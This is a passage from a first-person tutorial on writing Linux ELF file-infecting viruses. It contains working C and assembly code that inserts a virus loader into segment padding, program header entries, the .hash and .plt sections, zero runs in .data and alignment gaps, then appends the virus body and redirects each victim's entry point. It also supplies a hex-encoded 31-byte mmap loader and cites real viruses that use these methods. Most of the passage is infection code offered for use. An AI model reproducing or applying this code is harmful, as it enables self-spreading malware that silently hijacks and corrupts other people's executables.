if (phdr[i].p_type == PT_LOAD && (p == NULL || phdr[i].p_v
addr > p->p_vaddr))
p = &phdr[i];
if (p == NULL)
goto _unmap;
t = p->p_offset + p->p_filesz;
u = p->p_vaddr + p->p_filesz;
MAKE_HOLE(t, g->size);
memcpy(m + t, g->self, g->size);
p->p_filesz += g->size;
if (p->p_memsz < p->p_filesz)
p->p_memsz = p->p_filesz;
p->p_flags |= PF_X | PF_R;
p->p_align = 0x1000;
SHIFT_SHDRS(t, g->size);
*(uint32_t*)(m + t + 8) = old_entry - u - 12;
ehdr->e_entry = u;
#define CLEAN_ITSELF
Virus writes itself to the area which holds the unitialized data.
Surprize! An infected programs working incorectly. What's happened?
Let's infect the following program:
/* examples/Segments/victim.c */
#include
int test[16];
int main(int argc, char **argv)
{
int i;
for (i = 0; i < 16; i++)
printf("%x ", test[i]);
putchar('\n');
return 0;
}
It must print zeroes:
./victim
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
After infection?
./victim
246c8b38 8980cd3c 611c2444 535657c3 ...
Looks similar, right? It's our own code! To give the program its zeroes
promissed by C99, the virus must clean the memory where it resides. The
common trick to do so (used by T. Duff twenty years ago) is to place
the clean routine to stack, but since the stack is not executable
anymore and it's a headache to fix that, let's use the code from the
previous chapter (Mover again):
/* examples/Segments/virus_clean_itself.c */
#ifdef CLEAN_ITSELF
/* move itself to the new memory location */
uint32_t nloc;
nloc = mmap(NULL, g->size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_A
NONYMOUS, 0, 0);
if (nloc > 0xfffff000)
exit(0);
memcpy((void*)nloc, g->self, g->size);
/*1*/ *(uint32_t*)(nloc + 8) -= nloc - (uint32_t)g->self;
mprotect(nloc, g->size, PROT_READ|PROT_EXEC);
asm volatile ("leal 1f-virus_start(%0),%%eax; jmp *%%eax; 1:":: "r
"(nloc):"%eax");
/*2*/ bzero(g->self, g->size);
*(uint32_t*)(&esp - 1) = (nloc + 6);
#endif
With some changes:
1. Argument of the jmp insruction which return the control to the host
program - is a relative address. When the virus will move to
another memory location it should be fixed (substract
delta-offset).
Before After
| host |<--+ | host |<==+ ---
: : | : : # ^
: : | : : # |
| pusha | | | 0 | - - - -|- - - - - g->self
| call virus | | | 0 0 0 0 0 | # | ^
| popa | | | 0 | # | |
| jmp host |---+ | 0 0 0 0 0 | # | |
: .......... : : : # v | delta
: wrong! :<--+ --- |
: : | |
: : | v
| pusha | | - - - - - - - nloc
| call virus | |
| popa | |
| jmp host |---+
| ......... |
2. The virus must clear the memory
Now infected program works as intended.
Fall into the Gap
I already mentioned the hole that appears between segments in the
process due to alignment requirements:
,------------- 8048000 --- text segment
/ ccccccccccccc page
/ ------------- 8049000
| text segment |/ ccccccDDDDDDD page
| ccccccccccccc | ,--------------- 804a000 --- data segment
| ccccccDDDDDDD |X ccccccDDDDDDD page
| DDDDDDDDDDDDD | `--------------- 804b000
| data segment |\ DDDDDDDDDDDDD page
`---------------
The data segment begins right after the text seg. in the file, but in
the memory code end data can not share the same page, since the code
has r-x permissions and data rw-. As seen from the picture the same
page is mmaped twice and the hole (page-size long) appears between the
segments. It's more than enough for the virus code.
Is it possible to avoid this? Yes, it is, but to do that the linker
should pad the text segment up to the page size _in the file_:
text segment
| |
| - - - - - - - |
| ccccccccccccc | page
| - - - - - - - |
| cccccc0000000 | page
+---------------+
| DDDDDDDDDDDDD | page
| - - - - - - - |
| |
data segment
The file size will grow and there still be an unused space in the end
of text segment, less than a page, but enough for the virus. The ratio
of two types of files in my system is 2:1.
/* examples/Segments/infect-padding.c */
uint32_t dp, tp, ve, vo;
/* find loadable segments and check 'em */
phdr = (Elf32_Phdr*)(m + ehdr->e_phoff);
for (i = 0; i < ehdr->e_phnum; i++)
if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0 &&
(i + 1) < ehdr->e_phnum && phdr[i + 1].p_type == PT_LOA
D) {
if (phdr[i].p_filesz != phdr[i].p_memsz)
break;
goto ok;
}
goto _unmap;
ok: vo = phdr[i].p_filesz;
ve = phdr[i].p_vaddr + phdr[i].p_filesz;
tp = 4096 - (phdr[i].p_filesz & 4095);
dp = phdr[i + 1].p_vaddr - (phdr[i + 1].p_vaddr & ~4095);
if (tp + dp < g->size || tp == 0x1000 || phdr[i + 1].p_filesz == 0
)
goto _unmap;
/* update program headers */
phdr[i].p_memsz += tp;
phdr[i].p_filesz += tp;
if (dp != 0) {
/* adjust data seg */
phdr[i + 1].p_vaddr -= dp;
phdr[i + 1].p_paddr -= dp;
phdr[i + 1].p_offset += tp;
phdr[i + 1].p_filesz += dp;
phdr[i + 1].p_memsz += dp;
/* adjust PHDRs */
for (i = i + 2; i < ehdr->e_phnum; i++)
if (phdr[i].p_offset >= vo)
phdr[i].p_offset += tp + dp;
/* make hole */
MAKE_HOLE(vo, tp + dp);
/* adjust SHDRs */
SHIFT_SHDRS(vo, tp + dp);
}
memcpy(m + vo, g->self, g->size);
*(uint32_t*)(m + vo + 8) = old_entry - ve - 12;
ehdr->e_entry = ve;
For the first type of files the virus will add one more page, moving
the text segment's boundary "up" and data segment's boundary down,
increasing the size of both segments. For the second type of files the
virus will just write its body over the padding of text segment.
The virtual addresses of both segments are left unchanged.
Examples of headers:
1.
+---------------+ +---------------+
| CCCCCCCCCCCCC | | CCCCCCCCCCCCC |
| CCCCCC +------+ | CCCCCC VVVV |
+--------+ DDDD | +---------------+
| DDDDDDDDDDDDD | | VVVVVVV DDDD |
+---------------+ | DDDDDDDDDDDDD |
+---------------+
Before
LOAD 0x000000 0x08048000 0x08048000 0x032b8 0x032b8 R E 0x100
0
LOAD 0x0032b8 0x0804c2b8 0x0804c2b8 0x00662 0x00662 RW 0x100
0
After
LOAD 0x000000 0x08048000 0x08048000 0x04000 0x04000 R E 0x100
0
LOAD 0x004000 0x0804c000 0x0804c000 0x0091a 0x0091a RW 0x100
0
2.
+---------------+ +---------------+
| CCCCCCCCCCCCC | | CCCCCCCCCCCCC |
| CCCCCC 000000 | | CCCCCC VVVVVV |
+---------------+ +---------------+
| DDDDDDDDDDDDD | | DDDDDDDDDDDDD |
+---------------+ +---------------+
Before
LOAD 0x000000 0x08048000 0x08048000 0x13b5a 0x13b5a R E 0x1000
LOAD 0x014000 0x0805c000 0x0805c000 0x00820 0x00bd0 RW 0x1000
After
LOAD 0x000000 0x08048000 0x08048000 0x14000 0x14000 R E 0x1000
LOAD 0x014000 0x0805c000 0x0805c000 0x00820 0x00bd0 RW 0x1000
This method is used in the Coin virus.
Merging the segments
[FIXME]
Cavity infectors
In the previous chapter I showed how to explore the gaps between
segments, let's find some space _within_ the segments. There are a lot
of optional headers, padding, "meaningless" instructions, reserved
fields, dead code and zero variables within loadable segments. All that
could and would be used to place a viral code. Most of this areas are
small, so all examples from this chapter would write not the virus body
as a whole, but virus loader only. The loader will read the virus body
from the file's tail and pass it the control, however there are
sometimes enough space for the complete virus code.
The Loader
The loader is quite simple, been it written in C it would took one line
of code:
jmp(mmap(NULL, PAGE_SIZE, PROT_READ | PROT_EXEC, MAP_SHARED, open(argv[0],
O_RDONLY), offset);
But this is the rare case when using assembly is justified and merely
unavoidable - every byte is counts. I managed with 31 bytes:
/* examples/Loader/loader.asm */
BITS 32
pusha ;1
push byte 5
pop eax
xor ecx, ecx
mov ebx,[esp + 0x24];4 ebx = argv[0]
int 0x80 ;2 open(argv[0], O_RDONLY)
push dword 0x0 ;5 offset for mmap
push eax ;1 handle
inc ecx ;1 ecx = 1
push ecx ;1 MAP_SHARED
push byte 5 ;2 PROT_EXEC
push ecx ;1 length=1, but at least 1 page will be m
maped
push ebp
mov ebx,esp ;2 syscall args
mov al,0x5a ;2 __NR_old_mmap
int 0x80 ;2 mmap(0,1,PROT_EXEC,MAP_SHARED,h,o)
jmp eax ;2
The loader assumes that ebp and ecx contains zeroes upon program start:
$ gdb /bin/arch
(gdb) break *0x08048330
Breakpoint 1 at 0x8048330
(gdb) run
Starting program: /bin/arch
Breakpoint 1, 0x08048330 in ?? ()
(gdb) info reg
eax 0x113f64 1130340
ecx 0x0 0
edx 0x10d990 1104272
ebx 0x116fb4 1142708
esp 0xbfaada40 0xbfaada40
ebp 0x0 0x0
esi 0xbfaada4c -1079322036
edi 0x8048330 134513456
eip 0x8048330 0x8048330
eflags 0x282 642
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
This allowed me to save three bytes. It is possible to replace push
byte 4 with push ecx (PROT_READ), if you have Read you'll have the
eXecute too, but with this change the loader will fail with
"kernel.exec-shield" enabled. The "length" arg is set to 1, but that's
right - the whole page will be mmaped anyway.
There is no space left for the error checking and cleaning the stack
from the mmap' arguments, so the virus prologue must be changed:
asm( ".globl virus_start; virus_start:\n"
"call virus; add $24,%esp; popa; .byte 0x68; old_entry: .long fake
_host; ret");
Program Header Table and .note.ABI-tag
We already exploited unused PHT entries in the previous chapter. Why
not to write the code there? The virus will find unused entries in the
PHT, move the table entries, reduce the number of records (e_phnum),
write the code to the end of table. More than this, the PT_NOTE record
points to the .note.ABI-tag section (which will become unused after
removal of corresponding PHT entry), so this section could be used as
well.
Every record in the table is 32 bytes long, .note.ABI-tag section has
the same length, the code below will randomly choose the place for the
loader by removing one record fom the PHT. The virus may remove all
unused records thus relaxing the requirements to the loader's size.
/* examples/Cavity.PHT/infect-pht.c */
/* find start (to calculate new entry) and end (to check whether w
e can
remove PT_PHDR) of text segment */
uint32_t b = 0, t = 0, o;
for (i = 0; i < ehdr->e_phnum; i++)
if (phdr[i].p_type == PT_LOAD && phdr[i].p_offset == 0) {
b = phdr[i].p_vaddr;
t = phdr[i].p_vaddr + phdr[i].p_filesz;
}
if (b == 0)
goto _unmap;
/* do we have "unused" entries in PHT */
char targets[3];
int nt = 0;
for (i = 0; i < ehdr->e_phnum; i++)
if (phdr[i].p_type == PT_NOTE ||
/* PT_PHDR cannot be removed if it is located outside load
able segment */
/* FIXME: only text segment checked here */
(phdr[i].p_type == PT_PHDR && phdr[i].p_vaddr >= b && phdr
[i].p_vaddr < t) ||
/* we cannot remove GNU_STACK if the stck ought to be exec
utable */
(phdr[i].p_type == PT_GNU_STACK && (phdr[i].p_flags & PF_X
) == 0))
targets[nt++] = i;
if (nt == 0)
goto _unmap;
i = targets[random(nt)];
t = phdr[i].p_type;
o = phdr[i].p_offset;
/* remove selected PHT entry */
if (i != ehdr->e_phnum - 1)
memcpy(&phdr[i], &phdr[i + 1], sizeof(Elf32_Phdr) * (ehdr-
>e_phnum - i - 1));
ehdr->e_phnum--;
/* patch loader */
uint32_t nl = (l + 4095) & 0xfffff000;
*(uint32_t*)(g->loader + PATCH_OFFSET) = nl;
/* PT_NOTE points to section that can be removed */
if (t == PT_NOTE && random(2) == 0) {
/* replace .note.ABI-tag section */
memcpy(m + o, g->loader, CSIZE);
} else {
/* replace PHT entry */
o = ((char*)&phdr[ehdr->e_phnum] - (char*)m);
memcpy(m + o, g->loader, CSIZE);
}
/* write virus body */
ftruncate(h, nl);
lseek(h, 0, 2);
write(h, g->self, g->size);
pwrite(h, &ehdr->e_entry, 4, nl + 10, 0);
/* update entry point */
ehdr->e_entry = b + o;
Before writing the virus body the file must be rounded to the page
size.
The code has been slightly changed, virus() function has been extended
with initialization of loader and random number generator:
/* init random() */
g->seed = time(0);
/* loader */
uint8_t loader[CSIZE];
*(uint32_t*)(loader + 0x00) = 0x5c8b9560;
*(uint32_t*)(loader + 0x04) = 0x05b02424;
*(uint32_t*)(loader + 0x08) = 0x006880cd;
*(uint32_t*)(loader + 0x0c) = 0x50000000;
*(uint32_t*)(loader + 0x10) = 0x046a5141;
*(uint32_t*)(loader + 0x14) = 0x89514951;
*(uint32_t*)(loader + 0x18) = 0xcd5ab0e3;
*(uint32_t*)(loader + 0x1c) = 0x00e0ff80;
g->loader = loader;
Upon infection the file looks as follows:
Before After Anothe
r variant
: : : : :
:
| | ELF header | | |
|
+--------------+ +--------------+ +---------
-----+
| PHDR | Program Header | PHDR | | PHDR
|
| INTERP | Table | INTERP | | INTERP
|
| LOAD | | LOAD | | LOAD
|
| LOAD | | LOAD | | LOAD
|
| DYNAMIC | | DYNAMIC | | DYNAMIC
|
| NOTE | | NOTE | | EH_FRAME
|
| EH_FRAME | | EH_FRAME | | STACK
|
| STACK | Entry Point -> | virus loader | |
|
+--------------+ +--------------+ +---------
-----+
| .interp | | .interp | | .interp
|
+--------------+ +--------------+ +---------
-----+
| .note.ABI-tag| | .note.ABI-tag| Entry Point -> | virus lo
ader |
+--------------+ +--------------+ +---------
-----+
: : : : :
:
Hash
The .hash section is used to speed up the symbol resolving. It is
possible to remove it completely or decrease its size.
To remove the .hash:
* Find it in the section table (sh_type == SHT_HASH), find the
.dynamic at the same time
* Check is it large enough to hold our code
* Remove the record tagged DT_HASH from .dynamic
* Copy the code to the .hash section (at sh_offset)
* Change section type to SHT_NULL, SHT_PROGBITS or whatever you want,
anything rather than SHT_HASH
/* examples/Casher/infect-remove.c */
int dsz = 0;
Elf32_Dyn *dyn;
Elf32_Shdr *sh;
/* save pointer to the .hash entry in the SHT and get dynamic */
sh = NULL; dyn = NULL;
for (i = 0; i < ehdr->e_shnum; i++) {
if (shdr[i].sh_type == SHT_HASH)
sh = &shdr[i];
/* optional */
if (shdr[i].sh_type == SHT_DYNAMIC) {
dsz = shdr[i].sh_size / sizeof(Elf32_Dyn);
dyn = (Elf32_Dyn*)(m + shdr[i].sh_offset);
}
}
if (sh == NULL)
goto _unmap;
/* do we have enough space? */
if (sh->sh_size < (CSIZE + 12))
goto _unmap;
/* remove DT_HASH from dynamic section (optional) */
if (dyn != NULL)
for (i = 0; i < dsz; i++)
if (dyn[i].d_tag == DT_HASH) {
memmove(&dyn[i], &dyn[i+1], (dsz - i - 2)
* sizeof(Elf32_Dyn));
break;
}
/* patch loader */
uint32_t nl = (l + 4095) & 0xfffff000;
*(uint32_t*)(g->loader + PATCH_OFFSET) = nl;
*(uint32_t*)(m + sh->sh_offset) = 1;
*(uint64_t*)(m + sh->sh_offset + 8) = 0;
/* copy our code */
memcpy(m + sh->sh_offset + 12, g->loader, CSIZE);
/* change .hash' type */
sh->sh_type = SHT_PROGBITS;
/* write virus body */
ftruncate(h, nl);
lseek(h, 0, 2);
write(h, g->self, g->size);
pwrite(h, &ehdr->e_entry, 4, nl + 10, 0);
/* change entry point */
ehdr->e_entry = sh->sh_addr + 12;
/* examples/Casher/infect-reduce.c */
unsigned long elf_hash(const unsigned char *name) {
unsigned long h = 0, g;
while (*name) {
h = (h << 4) + *name++;
if (g = h & 0xf0000000)
h ^= g >> 24;
h &= ~g;
}
return h;
}
void build_hash(uint32_t *hash, int nbuckets, int nchains, Elf32_S
ym *sym, char *str) {
uint32_t i, h, *buckets, *chains;
buckets = hash + 2;
chains = buckets + nbuckets;
hash[0] = nbuckets;
hash[1] = nchains;
for (i = 1; i < nchains; i++) {
h = elf_hash(str + sym[i].st_name) % nbuckets;
if (buckets[h] == 0)
buckets[h] = i;
else {
h = buckets[h];
while (chains[h] != 0)
h = chains[h];
chains[h] = i;
}
}
}
Elf32_Sym *sym = NULL;
Elf32_Shdr *sh = NULL;
char *str = NULL;
/* find .hash section */
for (i = 0; i < ehdr->e_shnum; i++)
if (shdr[i].sh_type == SHT_HASH) {
sh = &shdr[i];
break;
}
if (sh == NULL)
goto _unmap;
/* find symbol table and strings */
i = sh->sh_link;
sym = (Elf32_Sym*)(m + shdr[i].sh_offset);
i = shdr[i].sh_link;
str = (char*)(m + shdr[i].sh_offset);
/* rebuild hash */
uint32_t *hash = (uint32_t*)(m + sh->sh_offset), nb = hash[0], nc
= hash[1];
if (((int)nb - (CSIZE + 3) / 4) < 1)
goto _unmap;
bzero(m + sh->sh_offset, (nb + nc + 2) * 4);
nb -= (CSIZE + 3) / 4;
build_hash(hash, nb, nc, sym, str);
/* patch loader */
uint32_t nl = (l + 4095) & 0xfffff000;
*(uint32_t*)(g->loader + PATCH_OFFSET) = nl;
/* write loader */
i = (2 + nb + nc) * 4;
memcpy(m + sh->sh_offset + i, g->loader, CSIZE);
/* write virus body */
ftruncate(h, nl);
lseek(h, 0, 2);
write(h, g->self, g->size);
pwrite(h, &ehdr->e_entry, 4, nl + 10, 0);
/* update entry point */
ehdr->e_entry = sh->sh_addr + i;
This method is used in the Linux.Hasher.A-D
Procedure Linkage Table
/* examples/PuLpiT/infect-plt.c */
/* find .plt section (by name) */
uint32_t psz, pla;
uint8_t *plt = NULL;
if (ehdr->e_shstrndx == SHN_UNDEF)
goto _unmap;
char *strtab = m + shdr[ehdr->e_shstrndx].sh_offset;
for (i = 0; i < ehdr->e_shnum; i++)
if (*(uint32_t*)(strtab + shdr[i].sh_name) == 0x746c702e)
{
plt = shdr[i].sh_offset + m;
pla = shdr[i].sh_addr;
psz = shdr[i].sh_size;
break;
}
if (plt == NULL || CSIZE > (psz - 16))
goto _unmap;
/* check values in .plt */
uint32_t gotp, orel, first_got, first_rel;
gotp = orel = 0;
for (i = 16; i < psz; i += 16) {
if (gotp != 0) {
if (*(uint32_t*)(plt + i + 2) - gotp != 4)
goto _unmap;
if (*(uint32_t*)(plt + i + 7) - orel != 8)
goto _unmap;
}
gotp = *(uint32_t*)(plt + i + 2);
orel = *(uint32_t*)(plt + i + 7);
if (i == 16) {
first_got = gotp;
first_rel = orel;
}
}
/* patch loader */
uint32_t nl = (l + 4095) & 0xfffff000;
*(uint32_t*)(g->loader + PATCH_OFFSET) = nl;
/* write loader */
memcpy(plt + 16, g->loader, CSIZE);
/* write virus body */
ftruncate(h, nl);
lseek(h, 0, 2);
write(h, g->self, g->size);
pwrite(h, &ehdr->e_entry, 4, nl + 10, 0);
/* write number of entries in .plt */
write(h, &pla, 4);
write(h, &psz, 4);
write(h, &first_got, 4);
write(h, &first_rel, 4);
/* update entry point */
ehdr->e_entry = pla + 16;
/* examples/PuLpiT/restore-plt.c */
/* move itself to the new memory location */
uint32_t nloc;
nloc = mmap(NULL, 1, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMO
US, 0, 0);
memcpy((void*)nloc, g->self, g->size + 12);
mprotect(nloc, g->size, PROT_READ|PROT_EXEC);
asm volatile ("leal 1f-virus_start(%0),%%eax; jmp *%%eax; 1:":: "r
"(nloc):"%eax");
/* restore .plt section */
uint32_t plta, plts, gotp, orel, jmp1, i;
plta = *(uint32_t*)(g->self + g->size + 0);
plts = *(uint32_t*)(g->self + g->size + 4);
gotp = *(uint32_t*)(g->self + g->size + 8);
orel = *(uint32_t*)(g->self + g->size + 12);
jmp1 = 0xffffffe0;
mprotect(plta & 0xfffff000, (plts + 4095) & 0xfffff000, PROT_READ|
PROT_WRITE);
for (i = 16; i < plts; i += 16) {
*(uint16_t*)(plta + i + 0x0) = 0x25ff;
*(uint32_t*)(plta + i + 0x2) = gotp;
*(uint8_t *)(plta + i + 0x6) = 0x68;
*(uint32_t*)(plta + i + 0x7) = orel;
*(uint8_t *)(plta + i + 0xb) = 0xe9;
*(uint32_t*)(plta + i + 0xc) = jmp1;
jmp1 -= 16;
gotp += 4;
orel += 8;
}
mprotect(plta & 0xfffff000, (plts + 4095) & 0xfffff000, PROT_READ|
PROT_EXEC);
/* adjust return address */
*(uint32_t*)(&esp - 1) = (nloc + 5);
This method is used in the Linux.PiLoT
Zeroes in the data section
Let's look in the ls' data section:
$ objdump -s -j .data /bin/ls
/bin/ls: file format elf32-i386
Contents of section .data:
805c720 00000000 00000000 0cc00508 00000000 ................
805c730 00000080 ffffffff 01000000 01000000 ................
805c740 01000000 00000000 01000000 ffffffff ................
805c750 00000000 00000000 00000000 00000000 ................
805c760 02000000 dc7f0508 01000000 df7f0508 ................
805c770 00000000 00000000 01000000 10ad0508 ................
805c780 01000000 10ad0508 05000000 e17f0508 ................
805c790 05000000 e77f0508 02000000 f67f0508 ................
805c7a0 05000000 ed7f0508 05000000 f37f0508 ................
805c7b0 05000000 f37f0508 00000000 00000000 ................
805c7c0 00000000 00000000 05000000 f97f0508 ................
805c7d0 05000000 ed7f0508 05000000 ff7f0508 ................
805c7e0 05000000 05800508 05000000 0b800508 ................
805c7f0 05000000 11800508 17800508 21800508 ............!...
805c800 01000000 70340508 01000000 01000000 ....p4..........
805c810 00010000 a0ca0508 10c80508 34b00508 ............4...
Large number of zeroes. Why not to write there the loader instead? It
is scarcely possible to write it completely, but it is real to write to
this areas the separate instructions and link them together with jmp
instrcutions. In order to do that, the virus needs the code of loader,
number of commands and their lengths:
void mk_data(uint8_t *loader, uint8_t *length)
{
*(uint32_t*)(loader + 0x00) = 0x5c8b9560;
*(uint32_t*)(loader + 0x04) = 0x00682424;
*(uint32_t*)(loader + 0x08) = 0x89000000;
*(uint32_t*)(loader + 0x0c) = 0xcd05b0c1;
*(uint32_t*)(loader + 0x10) = 0x51415080;
*(uint32_t*)(loader + 0x14) = 0x51495150;
*(uint32_t*)(loader + 0x18) = 0x5ab0e389;
*(uint32_t*)(loader + 0x1c) = 0xe0ff80cd;
*(uint16_t*)(length + 0x00) = 0x4511;
*(uint16_t*)(length + 0x02) = 0x2122;
*(uint16_t*)(length + 0x04) = 0x1111;
*(uint16_t*)(length + 0x06) = 0x2211;
*(uint16_t*)(length + 0x08) = 0x0022;
}
uint8_t loader[32], length[10];
...
/* prepare data */
mk_data(loader, length);
int i, l;
uint8_t *p = loader;
for (i = 0; i < LCMDS; i++) {
l = length[i / 2];
l = i % 2 == 0 ? l >> 4 : l & 15;
g->loader[i].len = l;
g->loader[i].ptr = p;
g->loader[i].next = NULL;
if (i > 0)
g->loader[i - 1].next = &g->loader[i];
p += l;
}
Put the loader instructions to the linked list.
Search for the data section by name:
if (ehdr->e_shstrndx == SHN_UNDEF)
goto _unmap;
char *name, *strtab = m + shdr[ehdr->e_shstrndx].sh_offset;
for (i = 0; i < ehdr->e_shnum; i++) {
name = strtab + shdr[i].sh_name;
if (*(uint32_t*)name == 0x7461642e && *(uint16_t*)(name +
4) == 0x0061)
break;
}
And now let's find all areas filled with zeroes and save it to the list
too:
/* examples/Cavity.Data/check_range.c */
static cell_t *check_range(uint8_t *start, uint8_t *end)
{
cell_t *list = NULL;
uint8_t *ptr = start;
int c = 0;
while (ptr < end) {
if (*ptr == 0)
c++;
else {
if (c >= 6) {
cell_t *q, *tmp;
if ((tmp = malloc(sizeof(cell_t))) == NULL
) {
free_list(list);
return NULL;
}
tmp->ptr = ptr - c;
tmp->len = c;
tmp->next = NULL;
if (list == NULL || tmp->len > list->len)
{
tmp->next = list;
list = tmp;
} else {
q = list;
while (q->next != NULL && q->next-
>len > tmp->len)
q = q->next;
tmp->next = q->next;
q->next = tmp;
}
}
c = 0;
}
ptr++;
}
return list;
}
free_space = check_range(m, shdr[i].sh_offset, shdr[i].sh_offset +
shdr[i].sh_size);
if (free_space == NULL)
goto _unmap;
The list is sorted by size.
I needed the malloc() and free() functions. I pick the ready from the
K&R (chapter 8).
/* examples/h/malloc.h */
#define NALLOC 1024 /* minimum #units to request */
typedef long Align; /* for alignment to long boundary
*/
union header { /* block header */
struct {
union header *ptr; /* next block if on free list */
unsigned size; /* size of this block */
} s;
Align x; /* force alignment of blocks */
};
typedef union header Header;
//static Header base; /* empty list to get started */
//static Header *freep = NULL; /* start of free list */
static Header *morecore(unsigned nu);
static void *malloc(unsigned nbytes);
static void free(void *ap);
/* examples/h/malloc.c */
char *sbrk(int inc)
{
char *r;
if (g->lastbrk == NULL) {
g->lastbrk = (char*)brk(0);
g->savebrk = g->lastbrk;
}
r = g->lastbrk;
g->lastbrk = (char*)brk(g->lastbrk + inc);
if (g->lastbrk != (r + inc))
return (char*)-1;
return r;
}
/* morecore: ask system for more memory */
static Header *morecore(unsigned nu)
{
char *cp, *sbrk(int);
Header *up;
if (nu < NALLOC)
nu = NALLOC;
cp = sbrk(nu * sizeof(Header));
if (cp == (char *) -1) /* no space at all
*/
return NULL;
up = (Header *) cp;
up->s.size = nu;
free((void *)(up+1));
return g->freep;
}
/* malloc: general-purpose storage allocator */
static void *malloc(unsigned nbytes)
{
Header *p, *prevp;
unsigned nunits;
nunits = (nbytes+sizeof(Header)-1)/sizeof(union header) + 1;
if ((prevp = g->freep) == NULL) { /* no free
list yet */
g->base.s.ptr = g->freep = prevp = &g->base;
g->base.s.size = 0;
}
for (p = prevp->s.ptr; ; prevp = p, p = p->s.ptr) {
if (p->s.size >= nunits) { /* big enough */
if (p->s.size == nunits) /* exactly */
prevp->s.ptr = p->s.ptr;
else { /* allocate tail e
nd */
p->s.size -= nunits;
p += p->s.size;
p->s.size = nunits;
}
g->freep = prevp;
return (void *)(p+1);
}
if (p == g->freep) /* wrapped
around free list */
if ((p = morecore(nunits)) == NULL)
return NULL; /* none left */
}
}
/* free: put block ap in free list */
static void free(void *ap)
{
Header *bp, *p;
bp = (Header *)ap - 1; /* point to block
header */
for (p = g->freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if (p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break; /* freed block at
start or end of arena */
if (bp + bp->s.size == p->s.ptr) { /* join to upper n
br */
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
if (p + p->s.size == bp) { /* join to lower n
br */
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
g->freep = p;
}
Now the virus will fix the offset within loader, put the loader's
intructions instead of found zeroes, write virus body and fix the entry
point:
/* examples/Cavity.Data/insert_virus.c */
static int insert_virus(cell_t *i, cell_t *c)
{
int l;
for (l = 0; c != NULL; )
if (l + c->len <= (c->next ? i->len - 5 : i->len)) {
memcpy(i->ptr + l, c->ptr, c->len);
l += c->len;
c = c->next;
} else {
int n;
for (n = l; n < i->len; n++)
i->ptr[n] = 0x90;
if (i->next != NULL) {
*((uint8_t *)(i->ptr + l)) = 0xe9;
*((uint32_t*)(i->ptr + l + 1)) = i->next->
ptr - i->ptr - l - 5;
} else {
return 1;
}
i = i->next;
l = 0;
}
return 0;
}
uint32_t nl = (l + 4095) & 0xfffff000;
/* patch loader */
*(uint32_t*)(g->loader[3].ptr + 1) = nl;
if (insert_virus(free_space, g->loader) != 0) {
/* clean the file */
cell_t *tmp;
for (tmp = free_space; tmp; tmp = tmp->next)
bzero(tmp->ptr, tmp->len);
goto _unmap;
}
ftruncate(h, nl);
lseek(h, 0, 2);
write(h, g->self, g->size);
pwrite(h, &ehdr->e_entry, 4, nl + 10, 0);
ehdr->e_entry = ((char*)free_space->ptr - m) - shdr[i].sh_offset +
shdr[i].sh_addr;
It is neccessary to clean the memory:
/* examples/Cavity.Data/victim.c */
#include
unsigned char test[32] = {
[0] = 1, [1 ... 14] = 0, [15] = 1,
[16] = 1, [17 ... 30] = 0, [31] = 1,
};
int main(int argc, char **argv)
{
int i;
for (i = 0; i < 32; i++)
printf("%x ", test[i]);
putchar('\n');
return 0;
}
./victim
1 89 e3 b0 5a cd 80 ff e0 0 0 0 0 0 0 1 1 cd 80 50 41 51 50 51 49 51 e9 e2
ff ff ff 1
To do that, write the pairs of those areas that would
be cleared after our code (in infect()): cell_t *t; uint32_t x; for (t
= free_space; t; t = t->next) if (*t->ptr != 0) { x = ((char*)t->ptr -
m) - shdr[i].sh_offset + shdr[i].sh_addr; write(h, &x, 4); write(h,
&t->len, 4); }
In virus():
/* clean the loader from data segment */ uint32_t *data =
(uint32_t*)(g->self + g->size); for (i = 0; data[i] != 0; i += 2)
bzero(data[i], data[i + 1]);
All right now:
./victim
1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1
Section's alignment
The vast majority of the sections has alignment requirements, the
beginning of the section must be rounded to a specific value. To fulfil
this constraint, the previous section is padded with zeroes. There are
not too much space in this paddings, but sometimes enough to fit a
small code.
This example is very similar to the previous one, but with a few
changes:
* In the search routine we\re looking for an alignment (difference
between the end of the section and the beginning of the next one):
static cell_t *check_range(Elf32_Ehdr *ehdr, Elf32_Shdr *shdr)
{
...
for (i = 1; i < ehdr->e_shnum; i++) {
if (shdr[i].sh_flags & SHF_ALLOC) {
int f = shdr[i + 1].sh_offset - shdr[i].sh_offset
- shdr[i].sh_size;
if (f < 6)
continue;
* We will require not only pointers, but addresses of the free spaces
too, because sections could be located in the different segments:
static cell_t *check_range(Elf32_Ehdr *ehdr, Elf32_Shdr *shdr)
{
...
tmp->ptr = (char*)ehdr + shdr[i].sh_offset + shdr[
i].sh_size;
tmp->len = f;
tmp->adr = shdr[i].sh_addr + shdr[i].sh_size;
So, during insertion the jmp argument is calculated from addresses
not from pointers:
static int insert_virus(cell_t *i, cell_t *c)
{
...
*((uint32_t*)(i->ptr + l + 1)) = i->next->
adr - i->adr - l - 5;
* Since nobody would use the space which we occupy there is no need
to clear it
Function alignment
To improve the perfomance the compiler would try to align the labels,
functions by padding the preceding code with meaningless instructions.
Here is the list of paddings used by binutils (gas/config/tc-i386.c):
{0x90}; /* nop */
{0x89,0xf6}; /* movl %esi,%esi */
{0x8d,0x76,0x00}; /* leal 0(%esi),%esi */
{0x8d,0x74,0x26,0x00}; /* leal 0(%esi,1),%esi */
{0x90, /* nop */
0x8d,0x74,0x26,0x00}; /* leal 0(%esi,1),%esi */
{0x8d,0xb6,0x00,0x00,0x00,0x00}; /* leal 0L(%esi),%esi */
{0x8d,0xb4,0x26,0x00,0x00,0x00,0x00}; /* leal 0L(%esi,1),%esi */
{0x90, /* nop */
0x8d,0xb4,0x26,0x00,0x00,0x00,0x00}; /* leal 0L(%esi,1),%esi */
{0x89,0xf6, /* movl %esi,%esi */
0x8d,0xbc,0x27,0x00,0x00,0x00,0x00}; /* leal 0L(%edi,1),%edi */
